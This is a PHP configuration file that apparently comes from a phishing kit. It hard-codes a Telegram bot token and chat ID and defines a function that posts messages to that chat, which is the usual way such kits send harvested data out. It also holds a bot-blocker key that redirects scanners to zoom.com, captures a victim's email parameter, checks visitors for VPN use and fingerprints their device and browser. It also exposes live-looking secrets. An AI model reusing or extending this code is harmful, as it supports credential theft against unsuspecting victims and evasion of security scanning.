<?php
// config.php - Centralized Configuration and Shared Utility Functions

// --- Telegram Bot API Configuration ---
if (!defined('TELEGRAM_BOT_TOKEN')) {
    define('TELEGRAM_BOT_TOKEN', '8210455233:AAHcHEGJLJJjf6uz_P96CcfepFus9AS85Pk');
}
if (!defined('TELEGRAM_CHAT_ID')) {
    define('TELEGRAM_CHAT_ID', '-1002395437037');
}

// --- Bot Blocker Configuration ---
if (!defined('BlockerApiKey')) {
    define('BlockerApiKey', 'X9dWAN40-yNRfvEcg6qYLNvcoRlWxYmVa-iadzglzAQLC');
}
if (!defined('BotRedirection')) {
    define('BotRedirection', 'https://zoom.com');
}

// Enable Bot Blocking (0 = disabled, 1 = enabled)
$GLOBALS['botblocking'] = 0; 

// Original email parameter (for passing through redirects)
$GLOBALS['original_email_param'] = $_GET['email'] ?? '';

/**
 * Sends a message to the configured Telegram chat.
 */
function sendTelegramMessage($message) {
    if (!defined('TELEGRAM_BOT_TOKEN') || !defined('TELEGRAM_CHAT_ID')) {
        error_log("sendTelegramMessage: TELEGRAM_BOT_TOKEN or TELEGRAM_CHAT_ID not defined in config.php");
        return false;
    }

    try {
        $botToken = TELEGRAM_BOT_TOKEN;
        $chatId = TELEGRAM_CHAT_ID;

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
        
        $sendData = [
            'chat_id' => $chatId,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];
        
        $options = [
            'http' => [
                'method' => 'POST',
                'header' => 'Content-Type: application/x-www-form-urlencoded',
                'content' => http_build_query($sendData)
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false,
            ],
        ];
        
        $context = stream_context_create($options);
        $result = @file_get_contents($telegramApiUrl, false, $context);
        
        return ($result !== false);
    } catch (Exception $e) {
        error_log("Error in sendTelegramMessage: " . $e->getMessage());
    }
    
    return false;
}

/**
 * Detects client IP address, handling proxies.
 */
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

/**
 * Checks if an IP address is using a VPN/Proxy.
 */
function isVPN($ip) {
    $context = stream_context_create([
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ],
    ]);
    $url = "https://ip-api.com/json/{$ip}?fields=proxy";
    $response = @file_get_contents($url, false, $context);
    $data = json_decode($response, true);
    return isset($data['proxy']) && $data['proxy'] === true;
}

/**
 * Detects device type from user agent.
 */
function detectDevice($userAgent) {
    $deviceType = "Desktop";
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $deviceType = "Mobile";
        if (preg_match('/iPhone/i', $userAgent)) {
            $deviceType = "iPhone";
        } elseif (preg_match('/iPad/i', $userAgent)) {
            $deviceType = "iPad";
        } elseif (preg_match('/Android/i', $userAgent)) {
            $deviceType = "Android";
        } elseif (preg_match('/BlackBerry/i', $userAgent)) {
            $deviceType = "BlackBerry";
        }
    }
    return $deviceType;
}

/**
 * Detects browser type from user agent.
 */
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    if (preg_match('/Edge/i', $userAgent)) {
        $browser = "Edge";
    } elseif (preg_match('/Chrome/i', $userAgent)) {
        $browser = "Chrome";
    } elseif (preg_match('/Firefox/i', $userAgent)) {
        $browser = "Firefox";
    } elseif (preg_match('/Safari/i', $userAgent)) {
        $browser = "Safari";
    } elseif (preg_match('/MSIE|Trident/i', $userAgent)) {
        $browser = "Internet Explorer";
    }
    return $browser;
}

?>